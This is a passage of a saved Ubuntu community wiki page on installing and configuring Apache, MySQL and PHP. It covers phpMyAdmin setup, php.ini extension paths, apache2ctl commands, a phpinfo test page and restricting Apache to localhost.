class="anchor" id="line-266"></span></p><pre>mysql> \q</pre><span class="anchor" id="line-267"></span><span class="anchor" id="line-268"></span><p class="line874">Since the mysql root password is now set, if you need to use mysql again (as the mysql root), you will need to use: <span class="anchor" id="line-269"></span><span class="anchor" id="line-270"></span><span class="anchor" id="line-271"></span></p><pre>mysql -u root -p</pre><span class="anchor" id="line-272"></span><span class="anchor" id="line-273"></span><p class="line874">and then enter the password at the prompt. <span class="anchor" id="line-274"></span><span class="anchor" id="line-275"></span></p><p class="line867"> </p><h3 id="Backup-Settings">Backup-Settings</h3> <span class="anchor" id="line-276"></span><span class="anchor" id="line-277"></span><p class="line862">Please, let's say something in which directories <a class="nonexistent" href="https://help.ubuntu.com/community/MySql">MySql</a> stores the database information and how to configure a backup <span class="anchor" id="line-278"></span><span class="anchor" id="line-279"></span></p><p class="line867"> </p><h3 id="Alternatively">Alternatively</h3> <span class="anchor" id="line-280"></span><p class="line862">There is more than just one way to set the mysql root password and create a database. For example <strong>mysqladmin</strong> can be used: <span class="anchor" id="line-281"></span><span class="anchor" id="line-282"></span></p><p class="line867"><span class="anchor" id="line-283"></span><span class="anchor" id="line-284"></span></p><pre>mysqladmin -u root -p password yourpassword</pre><span class="anchor" id="line-285"></span><span class="anchor" id="line-286"></span><p class="line874">and <span class="anchor" id="line-287"></span><span class="anchor" id="line-288"></span></p><p class="line867"><span class="anchor" id="line-289"></span><span class="anchor" id="line-290"></span></p><pre>mysqladmin -u root -p create database1</pre><span class="anchor" id="line-291"></span><span class="anchor" id="line-292"></span><p class="line867"><em>mysqladmin</em> is a command-line tool provided by the default LAMP install. <span class="anchor" id="line-293"></span><span class="anchor" id="line-294"></span></p><p class="line867"> </p><h2 id="Phpmyadmin and mysql-admin">Phpmyadmin and mysql-admin</h2> <span class="anchor" id="line-295"></span><span class="anchor" id="line-296"></span><p class="line862">All mysql tasks including setting the root password and creating databases can be done via a graphical interface using <strong>phpmyadmin</strong> or <strong>mysql-admin</strong>. <span class="anchor" id="line-297"></span><span class="anchor" id="line-298"></span></p><p class="line874">To install one or both of them, first enable the universe repository <span class="anchor" id="line-299"></span><span class="anchor" id="line-300"></span><span class="anchor" id="line-301"></span></p><ul><li><p class="line891"><a href="https://help.ubuntu.com/community/Repositories/CommandLine">I am using Ubuntu server (command line)</a> <span class="anchor" id="line-302"></span></p></li><li><p class="line891"><a href="https://help.ubuntu.com/community/AddingRepositoriesHowto">I am using a desktop</a> <span class="anchor" id="line-303"></span><span class="anchor" id="line-304"></span></p></li></ul><p class="line862">Use <a href="https://help.ubuntu.com/community/InstallingSoftware">any method</a> to install <span class="anchor" id="line-305"></span><span class="anchor" id="line-306"></span></p><p class="line867"><span class="anchor" id="line-307"></span><span class="anchor" id="line-308"></span></p><pre>phpmyadmin</pre><span class="anchor" id="line-309"></span><span class="anchor" id="line-310"></span><p class="line867"> </p><h3 id="Troubleshooting Phpmyadmin & mysql-admin">Troubleshooting Phpmyadmin & mysql-admin</h3> <span class="anchor" id="line-311"></span><p class="line867"><strong>If you get blowfish_secret error:</strong> <span class="anchor" id="line-312"></span>Choose and set a phrase for cryptography in the file /etc/phpmyadmin/blowfish_secret.inc.php and copy the line (not the php tags) into the file /etc/phpmyadmin/config.inc.php or you will receive an error. <span class="anchor" id="line-313"></span><span class="anchor" id="line-314"></span></p><p class="line867"> </p><h3 id="Alternative: install phpMyAdmin from source">Alternative: install phpMyAdmin from source</h3> <span class="anchor" id="line-315"></span><p class="line862">See the <a class="https" href="https://help.ubuntu.com/community/phpMyAdmin">phpMyAdmin</a> page for instructions on how to install phpmyadmin from source: <span class="anchor" id="line-316"></span><span class="anchor" id="line-317"></span></p><p class="line867"> </p><h3 id="Mysql-admin">Mysql-admin</h3> <span class="anchor" id="line-318"></span><p class="line862">Mysql-admin runs locally, on the desktop. Use <a href="https://help.ubuntu.com/community/InstallingSoftware">any method</a> to install <span class="anchor" id="line-319"></span><span class="anchor" id="line-320"></span></p><p class="line867"><span class="anchor" id="line-321"></span><span class="anchor" id="line-322"></span></p><pre>mysql-admin</pre><span class="anchor" id="line-323"></span><span class="anchor" id="line-324"></span><p class="line867"> </p><h3 id="For more information">For more information</h3> <span class="anchor" id="line-325"></span><p class="line862">You really ought to read <a class="http" href="http://dev.mysql.com/doc/mysql/en/default-privileges.html">2.9.3. Securing the Initial MySQL Accounts</a> from the <a class="http" href="http://dev.mysql.com/doc/mysql/en/index.html">MySQL Reference Manual</a>. <span class="anchor" id="line-326"></span><span class="anchor" id="line-327"></span><span class="anchor" id="line-328"></span></p><p class="line867"> </p><h2 id="Edit Apache Configuration">Edit Apache Configuration</h2> <span class="anchor" id="line-329"></span><p class="line874">You may want your current user to be the PHP pages administrator. To do so, edit the Apache configuration file : <span class="anchor" id="line-330"></span><span class="anchor" id="line-331"></span><span class="anchor" id="line-332"></span></p><pre>$ gksudo "gedit /etc/apache2/apache2.conf"</pre><span class="anchor" id="line-333"></span><p class="line874">Search both the strings starting by "User" and "Group", and change the names by the current username and groupname you are using. <span class="anchor" id="line-334"></span>Then you'll need to restart Apache. (look at the next chapter concerning apache commands) <span class="anchor" id="line-335"></span><span class="anchor" id="line-336"></span></p><p class="line874">Configuration options relating specifically to user websites (accessed through localhost/~username) are in /etc/apache2/mods-enabled/userdir.conf. <span class="anchor" id="line-337"></span><span class="anchor" id="line-338"></span></p><p class="line867"> </p><h2 id="Edit PHP Configuration to Work With MYSQL (Ubuntu Dapper)">Edit PHP Configuration to Work With MYSQL (Ubuntu Dapper)</h2> <span class="anchor" id="line-339"></span><span class="anchor" id="line-340"></span><p class="line874">In Dapper Drake, "extension=mysql.so" and "extension=mysqli.so" are enabled in the php.ini file out-of-the-box. However, sometimes php is not looking for those files in the right directory. You have then to move your files or modify the php.ini configuration.: <span class="anchor" id="line-341"></span><span class="anchor" id="line-342"></span></p><p class="line867"> </p><h3 id="First solution">First solution</h3> <span class="anchor" id="line-343"></span><span class="anchor" id="line-344"></span><p class="line874">locate the directory where the extension files are placed: <span class="anchor" id="line-345"></span><span class="anchor" id="line-346"></span></p><p class="line867"><tt> locate mysql.so </tt> <span class="anchor" id="line-347"></span><span class="anchor" id="line-348"></span></p><p class="line874">(change mysql.so in mysqli.so if you want to install the mysqli functions) <span class="anchor" id="line-349"></span><span class="anchor" id="line-350"></span></p><p class="line874">-then modify the php.ini file to indicate the right place for the extension directory: <span class="anchor" id="line-351"></span><span class="anchor" id="line-352"></span></p><p class="line867"><span class="anchor" id="line-353"></span><span class="anchor" id="line-354"></span></p><pre>$ gksudo "gedit /etc/php4/apache2/php.ini"</pre><span class="anchor" id="line-355"></span><span class="anchor" id="line-356"></span><p class="line874">or if you are using php5 <span class="anchor" id="line-357"></span><span class="anchor" id="line-358"></span></p><p class="line867"><span class="anchor" id="line-359"></span><span class="anchor" id="line-360"></span></p><pre>$ gksudo "gedit /etc/php5/apache2/php.ini"</pre><span class="anchor" id="line-361"></span><span class="anchor" id="line-362"></span><p class="line874">Look for the 'extension_dir' property, and set it to the directory where you found the mysql(i).so file: <span class="anchor" id="line-363"></span><span class="anchor" id="line-364"></span></p><ul><li style="list-style-type: none;">extension_dir= "/usr/lib/php5/20051025/" <span class="anchor" id="line-365"></span><span class="anchor" id="line-366"></span></li></ul><p class="line874">Restart apache, and test if your mysql(i) functions are working. <span class="anchor" id="line-367"></span><span class="anchor" id="line-368"></span><span class="anchor" id="line-369"></span></p><p class="line867"> </p><h3 id="Second solution">Second solution</h3> <span class="anchor" id="line-370"></span><span class="anchor" id="line-371"></span><p class="line874">-locate the directory where the extension files are placed: <span class="anchor" id="line-372"></span><span class="anchor" id="line-373"></span></p><p class="line867"><tt> locate mysql.so </tt> <span class="anchor" id="line-374"></span><span class="anchor" id="line-375"></span></p><p class="line874">(change mysql.so in mysqli.so if you want to install the mysqli functions) <span class="anchor" id="line-376"></span><span class="anchor" id="line-377"></span></p><p class="line874">Let's say that you found the file in '/usr/lib/php5/20051025/' <span class="anchor" id="line-378"></span><span class="anchor" id="line-379"></span></p><p class="line874">-then check in the php.ini file for the extension directory <span class="anchor" id="line-380"></span><span class="anchor" id="line-381"></span></p><p class="line867"><span class="anchor" id="line-382"></span><span class="anchor" id="line-383"></span></p><pre>$ gksudo "gedit /etc/php4/apache2/php.ini"</pre><span class="anchor" id="line-384"></span><span class="anchor" id="line-385"></span><p class="line874">or if you are using php5 <span class="anchor" id="line-386"></span><span class="anchor" id="line-387"></span></p><p class="line867"><span class="anchor" id="line-388"></span><span class="anchor" id="line-389"></span></p><pre>$ gksudo "gedit /etc/php5/apache2/php.ini"</pre><span class="anchor" id="line-390"></span><span class="anchor" id="line-391"></span><p class="line874">Look for the 'extension_dir' property. It should be by default '/usr/lib/php5/ext'. If it's not, change it for this value. <span class="anchor" id="line-392"></span><span class="anchor" id="line-393"></span></p><p class="line874">-Now create the default directory for extensions: <span class="anchor" id="line-394"></span><span class="anchor" id="line-395"></span></p><p class="line867"><span class="anchor" id="line-396"></span><span class="anchor" id="line-397"></span></p><pre>$ sudo mkdir /usr/lib/php5/ext</pre><span class="anchor" id="line-398"></span><span class="anchor" id="line-399"></span><p class="line874">-Copy the extension file to the new directory: <span class="anchor" id="line-400"></span><span class="anchor" id="line-401"></span></p><p class="line867"><span class="anchor" id="line-402"></span><span class="anchor" id="line-403"></span></p><pre>$ sudo cp /usr/lib/php5/20051025/mysql.so /usr/lib/php5/ext/mysql.so</pre><span class="anchor" id="line-404"></span><span class="anchor" id="line-405"></span><p class="line874">Change the first path to the one you found with the locate function, and change mysql.so into mysqli.so if you want to use mysqli functions. <span class="anchor" id="line-406"></span><span class="anchor" id="line-407"></span></p><p class="line874">-Restart apache (see below), and test if your mysql(i) functions are working. <span class="anchor" id="line-408"></span><span class="anchor" id="line-409"></span><span class="anchor" id="line-410"></span><span class="anchor" id="line-411"></span></p><p class="line867"> </p><h2 id="Run, Stop, Test, And Restart Apache">Run, Stop, Test, And Restart Apache</h2> <span class="anchor" id="line-412"></span><p class="line874">Use the following command to run Apache : <span class="anchor" id="line-413"></span><span class="anchor" id="line-414"></span><span class="anchor" id="line-415"></span></p><pre>$ sudo /usr/sbin/apache2ctl start</pre><span class="anchor" id="line-416"></span><p class="line874">To stop it, use : <span class="anchor" id="line-417"></span><span class="anchor" id="line-418"></span><span class="anchor" id="line-419"></span></p><pre>$ sudo /usr/sbin/apache2ctl stop</pre><span class="anchor" id="line-420"></span><p class="line874">To test configuration changes, use : <span class="anchor" id="line-421"></span><span class="anchor" id="line-422"></span><span class="anchor" id="line-423"></span></p><pre>$ sudo /usr/sbin/apache2ctl configtest</pre><span class="anchor" id="line-424"></span><p class="line874">Finally, to restart it, run : <span class="anchor" id="line-425"></span><span class="anchor" id="line-426"></span><span class="anchor" id="line-427"></span></p><pre>$ sudo /usr/sbin/apache2ctl restart</pre><span class="anchor" id="line-428"></span><p class="line867"> </p><h2 id="Using Apache">Using Apache</h2> <span class="anchor" id="line-429"></span><p class="line862">You can access apache by typing 127.0.0.1 or <a class="http" href="http://localhost/">http://localhost</a> (by default it will be listening on port 80) in your browser address bar. <span class="anchor" id="line-430"></span>By default the directory for apache server pages is /var/www . <span class="anchor" id="line-431"></span>It needs root access in order to put files in. A way to do it is just starting the file browser as root in a terminal: <span class="anchor" id="line-432"></span><span class="anchor" id="line-433"></span><span class="anchor" id="line-434"></span></p><pre>$ sudo nautilus</pre><span class="anchor" id="line-435"></span><span class="anchor" id="line-436"></span><p class="line874">or <span class="anchor" id="line-437"></span><span class="anchor" id="line-438"></span></p><p class="line874">if you want to make /var/www your own. (Use only for non-production web servers - this is not the most secure way to do things.) <span class="anchor" id="line-439"></span><span class="anchor" id="line-440"></span><span class="anchor" id="line-441"></span></p><pre>$ sudo chown -R $USER:$USER /var/www</pre><span class="anchor" id="line-442"></span><span class="anchor" id="line-443"></span><p class="line867"> </p><h2 id="Status">Status</h2> <span class="anchor" id="line-444"></span><p class="line874">To check the status of your PHP installation: <span class="anchor" id="line-445"></span><span class="anchor" id="line-446"></span><span class="anchor" id="line-447"></span></p><pre> $ gksudo "gedit /var/www/testphp.php"</pre><span class="anchor" id="line-448"></span><p class="line874">and insert the following line <span class="anchor" id="line-449"></span><span class="anchor" id="line-450"></span><span class="anchor" id="line-451"></span></p><pre> <?php phpinfo(); ?></pre><span class="anchor" id="line-452"></span><span class="anchor" id="line-453"></span><p class="line862">View this page on a web browser at <a class="http" href="http://yourserveripaddress/testphp.php">http://yourserveripaddress/testphp.php</a> or <a class="http" href="http://localhost/testphp.php">http://localhost/testphp.php</a> <span class="anchor" id="line-454"></span><span class="anchor" id="line-455"></span></p><p class="line867"> </p><h2 id="Securing Apache">Securing Apache</h2> <span class="anchor" id="line-456"></span><p class="line874">If you just want to run your Apache install as a development server and want to prevent it from listening for incoming connection attempts, this is easy to do. <span class="anchor" id="line-457"></span><span class="anchor" id="line-458"></span><span class="anchor" id="line-459"></span><span class="anchor" id="line-460"></span></p><pre>$ gksudo "gedit /etc/apache2/ports.conf" $ password:</pre><span class="anchor" id="line-461"></span><span class="anchor" id="line-462"></span><p class="line874">Change ports.conf so that it contains: <span class="anchor" id="line-463"></span><span class="anchor" id="line-464"></span><span class="anchor" id="line-465"></span></p><pre>Listen 127.0.0.1:80</pre><span class="anchor" id="line-466"></span><span class="anchor" id="line-467"></span><p class="line862">Save this file, and restart Apache (see above). Now Apache will serve only to your home domain, <a class="http" href="http://127.0.0.1/">http://127.0.0.1</a> or <a class="http" href="http://localhost/">http://localhost</a>. <span class="anchor" id="line-468"></span><span class="anchor" id="line-469"></span></p><p class="line867"> </p><h2 id="Password-Protect a Directory">Password-Protect a Directory</h2> <span class="anchor" id="line-470"></span><span class="anchor" id="line-471"></span><p class="line874">There are 2 ways to password-protect a specific directory. <span class="anchor" id="line-472"></span>The recommended way involves editing <span class="anchor" id="line-473"></span><tt> /etc/apache2/apache2.conf </tt>. <span class="anchor" id="line-474"></span>(To do this, you need root access). <span class="anchor" id="line-475"></span>The other way involves editing a <tt>.htaccess</tt> file in the directory to be protected. <span class="anchor" id="line-476"></span>(To do this, you need access to that directory). <span class="anchor" id="line-477"></span><span class="anchor" id="line-478"></span></p><p class="line867"> </p><h3 id="Password-Protect a Directory With .htaccess">Password-Protect a Directory With .htaccess</h3> <span class="anchor" id="line-479"></span><span class="anchor" id="line-480"></span><p class="line862">See <a href="https://help.ubuntu.com/community/EnablingUseOfApacheHtaccessFiles">EnablingUseOfApacheHtaccessFiles</a> <span class="anchor" id="line-481"></span><span class="anchor" id="line-482"></span></p><p class="line867"><strong>Warning: On at least some versions of Ubuntu, <tt>.htaccess</tt> files will not work by default. See <a href="https://help.ubuntu.com/community/EnablingUseOfApacheHtaccessFiles">EnablingUseOfApacheHtaccessFiles</a> for help on enabling them.</strong> <span class="anchor" id="line-483"></span><span class="anchor" id="line-484"></span></p><p class="line867"> </p><h2 id="thumbnails">thumbnails</h2> <span class="anchor" id="line-485"></span><span class="anchor" id="line-486"></span><p class="line874">If you direct your web browser to a directory (rather than a specific file), <span class="anchor" id="line-487"></span>and there is no "index.html" file in that directory, <span class="anchor" id="line-488"></span>Apache will generate an index file on-the-fly listing all the files and folders in that directory. <span class="anchor" id="line-489"></span>Each folder has a little icon of a folder next to it. <span class="anchor" id="line-490"></span><span class="anchor" id="line-491"></span></p><p class="line874">To put a thumbnail of that specific image (rather than the generic "image icon") <span class="anchor" id="line-492"></span>next to each image file (.jpg, .png, etc.): <span class="anchor" id="line-493"></span><span class="anchor" id="line-494"></span></p><p class="line867"><em>... todo: add instructions on how to do thumbnails here, perhaps using <a class="http" href="http://aspn.activestate.com/ASPN/CodeDoc/Apache-AutoIndex/AutoIndex.html">Apache::AutoIndex 0.08</a> or <a class="http" href="http://aspn.activestate.com/ASPN/CodeDoc/Apache-Album/Album.html">Apache::Album 0.95</a> ... </em> <span class="anchor" id="line-495"></span><span class="anchor" id="line-496"></span><span class="anchor" id="line-497"></span></p><p class="line867"> </p><h2 id="Known problems">Known problems</h2> <span class="anchor" id="line-498"></span><span class="anchor" id="line-499"></span><p class="line867"> </p><h3 id="Skype incompatibility">Skype incompatibility</h3> <span class="anchor" id="line-500"></span><p class="line867"><a href="https://help.ubuntu.com/community/Skype">Skype</a> uses port 80 for incoming calls, and thus, may block Apache. The solution is to change the port in one of the applications. Usually, port 81 is free and works fine. To change the port number in <a href="https://help.ubuntu.com/community/Skype">Skype</a> go to menu Tools > Options, then click on the Advanced tab, then in the box of the port for incoming calls write your preference. <span class="anchor" id="line-501"></span><span class="anchor" id="line-502"></span></p><p class="line867"> </p><h2 id="Other Apache Options">Other Apache Options</h2> <span class="anchor" id="line-503"></span><ul><li><p class="line891"><a href="https://help.ubuntu.com/community/ServerSideIncludes">ServerSideIncludes</a> - enable SSI in Apache2 <span class="anchor" id="line-504"></span></p></li><li><p class="line891"><a href="https://help.ubuntu.com/community/LocalhostSubdomain">LocalhostSubdomain</a> - access your local files as if you had different subdomains <span class="anchor" id="line-505"></span><span class="anchor" id="line-506"></span></p></li></ul><p class="line867"> </p><h2 id="Further Information">Further Information</h2> <span class="anchor" id="line-507"></span><ul><li><p class="line891"><a href="https://help.ubuntu.com/community/StrongPasswords">StrongPasswords</a> is recommended reading! <span class="anchor" id="line-508"></span></p></li><li><p class="line891"><a href="https://help.ubuntu.com/community/BastilleLinux">BastilleLinux</a> is also recommended if you're going to be running a live webserver. <span class="anchor" id="line-509"></span></p></li><li><p class="line862">You can compile <a class="nonexistent" href="https://help.ubuntu.com/community/PHP5FromSource">PHP5FromSource</a>, as well as <a href="https://help.ubuntu.com/community/MYSQL5FromSource">MYSQL5FromSource</a>. <span class="anchor" id="line-510"></span></p></li><li><p class="line891"><a href="https://help.ubuntu.com/community/PHPOracle">PHPOracle</a> will enable you to connect to Oracle databases. <span class="anchor" id="line-511"></span></p></li><li><p class="line891"><a href="https://help.ubuntu.com/community/PhpPear">PhpPear</a> : PHP Extension and Application Repository <span class="anchor" id="line-512"></span></p></li></ul><span class="anchor" id="bottom"></span></div><p id="pageinfo" class="info" dir="ltr" lang="en">ApacheMySQLPHP (last edited 2009-02-20 17:30:30 by <span title="https://login.launchpad.net/+id/TTftLEm @ adsl-69-232-35-206.dsl.irvnca.pacbell.net[69.232.35.206]"><a class="interwiki" href="https://launchpad.net/%7Enickrud" title="https://login.launchpad.net/+id/TTftLEm @ adsl-69-232-35-206.dsl.irvnca.pacbell.net[69.232.35.206]">Rich Rudnick</a></span>)</p> <ul class="pagelinks"> <li><a class="nbinfo" href="https://help.ubuntu.com/community/ApacheMySQLPHP?action=info" rel="nofollow">Page History</a></li> </ul> <div id="pagebottom"></div> </div> <div id="footer"> <hr width="550"> <div id="ubuntulinks"> <p> The material on this wiki is available under a free license, see <a href="https://help.ubuntu.com/community/License">Copyright / License</a> for details<br><b>You</b> can contribute to this wiki, see <a href="https://help.ubuntu.com/community/WikiGuide">Wiki Guide</a> for details </p><br> </div> <script src="ApacheMySQLPHP_files/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-1018242-7"; urchinTracker(); __utmSetVar('UbuntuWiki'); </script> <script type="text/javascript"> function togglebar() { obj = document.getElementById('editbar'); obj2 = document.getElementById('showbarspan'); obj3 = document.getElementById('showbar'); if (obj.style.position == 'fixed') { obj.style.position = 'static'; obj3.style.bottom = '0'; obj2.innerHTML = 'Show'; } else { obj.style.position = 'fixed'; obj2.innerHTML = 'Hide'; obj3.style.bottom = '25px'; } return false; } </script> </div> <!-- footer --> </div> <!-- layout --> <img id="bottomcap" alt="" src="ApacheMySQLPHP_files/cap-bottom.png"> </div> <!-- round --> </body></html>